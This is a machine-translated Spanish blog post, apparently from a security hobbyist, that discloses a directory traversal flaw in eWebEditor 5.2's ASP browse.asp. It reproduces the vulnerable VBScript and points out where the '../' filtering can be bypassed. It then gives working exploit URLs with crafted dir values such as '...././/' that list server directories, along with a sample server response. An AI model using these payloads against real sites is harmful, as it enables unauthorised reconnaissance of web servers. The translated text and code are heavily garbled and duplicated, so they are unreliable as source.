ewebeditor 5.2 vulnerabilidades catálogo de la serie
: St0p
Propia estación con el editor antes de su propia agilizar el ewebeditor de la versión 5.2 de ASP para trabajar cansado, a descansar, un editor no creía que realmente me encontré con un pequeño resquicio, aunque el papel de Sin embargo, no se utilizará para ayudar o muy buena.
Presentar una laguna existente en el ewebeditor / asp / browse.asp
A 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Función de la GetList () Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next para la Server . CreateObject ( "Scripting.FileSystemObject" ) Set oFSO = Server. CreateObject ("Scripting.FileSystemObject") oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) Establecer oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) 'Atención sCurrDir las variables, podemos utilizar este valor > 0 Then Si Err Número> 0 Then s_List = "" Salir de la función End If "" Then Si SDIR <> "" Entonces, sDir, "/" ) > 1 Then Si InStrRev (SDIR, "/")> 1 entonces sDir, InstrRev ( sDir, "/" ) - 1 ) s_Url = Izquierda (SDIR, InStrRev (SDIR, "/") - 1) Más s_Url = "" End If "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List s_List = & "onclick='doRowClick(this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='" y s_Url y "'>" & _ _ <td> <img border=0 src='../sysimage/file/parentfolder.gif'> El </ td> "& _ _ <td> .. </ td> "& _ _ "<td> </ Td>" & _ "</ Tr> End If 'Response.Write SDIR & "!" Y S_List OSubFolder Dim oUploadFolder. SubFolders Para cada oSubFolder En oUploadFolder subcarpetas. Los oUploadFolder.SubFolders Response.Write "" Then Si SDIR = "" Then s_Url = oSubFolder. Nombre Más "/" & oSubFolder. Name s_Url = SDIR & "/" & oSubFolder. Nombre End If "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List s_List = & "onclick='doRowClick(this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='" y s_Url y "'>" & _ _ <td> <img border=0 src='../sysimage/file/closedfolder.gif'> El </ td> "& _ oSubFolder. Name & "</td>" & _ "<td Nowrap>" y oSubFolder. Nombre & "</ td>" _ & _ "<td> </ Td>" & _ "</ Tr> Próximo 'Response.Write s_List oUploadFolder. Files OUploadFiles juego = oUploadFolder Archivos. oUploadFiles Para cada oUploadFile En oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Nombre sFileName ) = True Then Si CheckValidExt (sFileName) = True Then "Esta línea estaba un poco deprimida, las pruebas de toda la extensión de archivo permitido, como no está permitido no puede ser una lista o lista no sólo el nombre del directorio y archivos de imagen "" Then Si SDIR = "" Then sFileName s_Url = sContentPath y sFileName Más sDir & "/" & sFileName s_Url = sContentPath y SDIR & "/" & sFileName End If "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ s_List s_List = & "onmouseover='doRowOver(this)' onclick='doRowClick(this)' <tr onmouseout='doRowOut(this)' url='" y s_Url y "'>" & _ FileName2Pic ( sFileName ) & "</td>" & _ "<td>" Y FileName2Pic (sFileName) & "</ td>" & _ sFileName & "</td>" & _ "<td Nowrap>" y sFileName & "</ td>" & _ GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "<td Align=right>" y GetSizeUnit (tamaño oUploadFile.) & "</ td>" & _ "</ Tr> End If Próximo Nothing Establecer oUploadFolder = Nothing Nothing Establecer oUploadFiles = Nothing 'Response.Write Server.HTMLEncode (s_List) & "!" Y S_Url "" Then Si SDIR = "" Then s_Url = "" 'S_Url = "/" Más & sDir & "" s_Url = "/" & SDIR & "" 'S_Url = "/" & SDIR & "/" End If "</table>" s_List s_List = & "</ table>" s_List ) s_List = HTML2JS (s_List) 'Response.Write Server.HTMLEncode (s_List) & "!" Y S_Url & s_List & "" ", " "" & s_Url & "" ")" s_List = "parent.setDirList (" "" & s_List & "" "" "" & s_Url & "" ")" GetList = s_List End Function "Si no paso de detección, debe ser capaz de enumerar todos los archivos en el directorio, y un poco deprimida .. ahora sólo figuran los nombres de los archivos y directorios para permitir que el sufijo s_FileName ) Función CheckValidExt (s_FileName) "" Then Si sAllowExt = "" Then CheckValidExt = True Salir de la función End If Dim i, AexT, sexta ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) sext = LCase (Mid (s_FileName, InStrRev (s_FileName, ".") + 1)) CheckValidExt = False LCase ( sAllowExt ) , "|" ) AexT = Split (LCase (sAllowExt), "|") 0 To UBound ( aExt ) For i = 0 To UBound (AexT) i ) = sExt Then Si AexT (i) = sext Entonces CheckValidExt = True Salir de la función End If Próximo End Function "Nos encontramos por el código, encontrar sCurrDir el valor es un valor a la siguiente Sub initParam () ( Trim ( Request . QueryString ( "type" ) ) ) sType = UCase (Trim (la solicitud. la cadena de consulta ("tipo"))) ( Request . QueryString ( "style" ) ) sStyleName = Trim (Request. cadena de consulta ("estilo")) Dim i, aStyleConfig, bValidStyle bValidStyle = False 1 To Ubound ( aStyle ) For i = 1 To UBound (Astyle) aStyle ( i ) , "|||" ) aStyleConfig = Split (Astyle (i), "| | |") ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then Si LCase (sStyleName) = LCase (aStyleConfig (0)) A continuación, bValidStyle = True Exit For End If Próximo False Then Si bValidStyle = False Then ) OutScript ("alert ('estilo no válido.')") End If 19 ) sBaseUrl = aStyleConfig (19) 'NAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 1 Then Si nAllowBrowse <> 1 Then ) OutScript ("alert ('No permita que ver!')") End If 3 ) sUploadDir = aStyleConfig (3) sUploadDir, 1 ) <> "/" Then Si la izquierda (sUploadDir, 1) <> "/" Entonces, Seleccione sType caso Caso "A DISTANCIA" & sUploadDir & "Image/" sUploadDir = ".. / .. /" y sUploadDir y "Imagen /" Caso "FILE" & sUploadDir & "Other/" sUploadDir = ".. / .. /" y sUploadDir y "Otros /" Caso "MEDIA" & sUploadDir & "Media/" sUploadDir = ".. / .. /" y sUploadDir y "Medios de Comunicación /" Caso "FLASH" & sUploadDir & "Flash/" sUploadDir = ".. / .. /" y sUploadDir y "Flash /" Case Else & sUploadDir & "Image/" sUploadDir = ".. / .. /" y sUploadDir y "Imagen /" End Select End If 'SUploadDir = sUploadDir & "/" Seleccione sBaseUrl caso Caso "0" 'SContentPath = aStyleConfig (23) Seleccione sType caso Caso "A DISTANCIA" & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" y aStyleConfig (3) y "Imagen /" Caso "FILE" & aStyleConfig ( 3 ) & "Other/" sContentPath = ".. /" y aStyleConfig (3) y "Otros /" Caso "MEDIA" & aStyleConfig ( 3 ) & "Media/" sContentPath = ".. /" y aStyleConfig (3) y "Medios de Comunicación /" Caso "FLASH" & aStyleConfig ( 3 ) & "Flash/" sContentPath = ".. /" y aStyleConfig (3) y "Flash /" Case Else & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" y aStyleConfig (3) y "Imagen /" End Select Caso "1" sUploadDir ) sContentPath = RelativePath2RootPath (sUploadDir) Caso "2" RelativePath2RootPath ( sUploadDir ) ) sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Select Seleccione sType caso Caso "A DISTANCIA" 10 ) sAllowExt = aStyleConfig (10) Caso "FILE" 6 ) sAllowExt = aStyleConfig (6) Caso "MEDIA" 9 ) sAllowExt = aStyleConfig (9) Caso "FLASH" 7 ) sAllowExt = aStyleConfig (7) Case Else 8 ) sAllowExt = aStyleConfig (8) End Select Nota sCurrDir = sUploadDir 'que se ha configurado la dirección ruta ( Request ( "dir" ) ) '得到dir变量 SDIR = Trim (Request ("dir")) 'variable dir ( sDir, "\" , "/" ) '对dir变量进行过滤 SDIR de SDIR = Replace ("\", "/") 'variable dir para filtrar ( sDir, "../" , "" ) SDIR = Replace (SDIR, ".. /", "") ( sDir, "./" , "" ) SDIR = Replace (sDir. "/", "") "" Then Si SDIR <> "" Entonces, Server . Mappath ( sUploadDir & sDir ) ) = True Then Si CheckValidDir (Server. MapPath (sUploadDir y SDIR)) = True Then sDir & "/" sCurrDir = sUploadDir y SDIR & "/" "Centrarse en aquí, ver no existía cuando sUploadDir y SDIR, sCurrDir para el valor sUploadDir y SDIR "Aunque en la cara de SDIR filtrado, pero podemos omitir el st0p uso específico se dará en el uso de los siguientes Más SDIR = "" End If End If End Sub |
Oye, ve esto, usted debe entender que, de hecho, el filtrado es dir, podemos construir un valor especial para omitir la comprobación, para que pueda obtener la estructura de directorios y visualizar el archivo con la extensión de los archivos permitidos en el archivo de configuración ..
El uso de métodos son los siguientes
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
El la prueba st0p el directorio de carga es el directorio raíz de la uploadfile la dirección antes mencionada se puede obtener todos los directorios en el directorio raíz.
Oye, si usted encuentra una pantalla abierta está en blanco, no se desanime, que ver el código fuente, vea usted, que tendrá el directorio raíz del nombre del directorio.
El directorio raíz hay un directorio de los huéspedes, podemos enumerar la siguiente dirección la siguiente estructura
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Entonces también podemos
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Ir a las capas más altas, mi anfitrión de prueba virtual, obtener el directorio de tres de www, archivo de registro, datebase.
A
| <HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ head> <script language = javascript> parent.setDirList ("onclick='doRowClick(this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> .. </ td> </ td> </ tr> <tr onclick = 'doRowClick (este) "onmouseover =' doRowOver (this)" onmouseout = 'doRowOut (este)' isdir = 'true' path = ".. / .. / .. / archivos de registro"> <td> <img = frontera 0 src = ".. / sysimage / archivo / closedfolder.gif '> </ td> <td nowrap> archivos de registro </ td> </ td> </ tr> <tr onclick =' doRowClick (esto ) "onmouseover = 'doRowOver (this)" onmouseout =' doRowOut (este) 'isdir =' true 'path = ".. / .. / .. / www"> <td> <img border = 0 src ='. . / sysimage / archivo / closedfolder.gif '> </ td> <td nowrap> www </ td> </ td> </ tr> </ table> "," / .. / .. / .. ") </ script> </ body> </ html> |
Esta vulnerabilidad sólo se puede considerar que el uso auxiliar de detección de intrusos, puede obtener la estructura de directorios, por ejemplo, el directorio de gestión del cambio, el directorio de base de datos, para que pueda obtener el nombre del directorio, pero no puedo listar los archivos que st0p deprimido. Yo ....
Este es el segundo documento original expedido por el st0p en el blog, después de múltiples, Georgia, es ahora considerada blog también abrió ..
Nota: El salto en el directorio de sitios web que se utiliza en todo lo que encontré la recepción será reemplazado










































273 Trackback (s)
Usted debe estar logueado para escribir un comentario.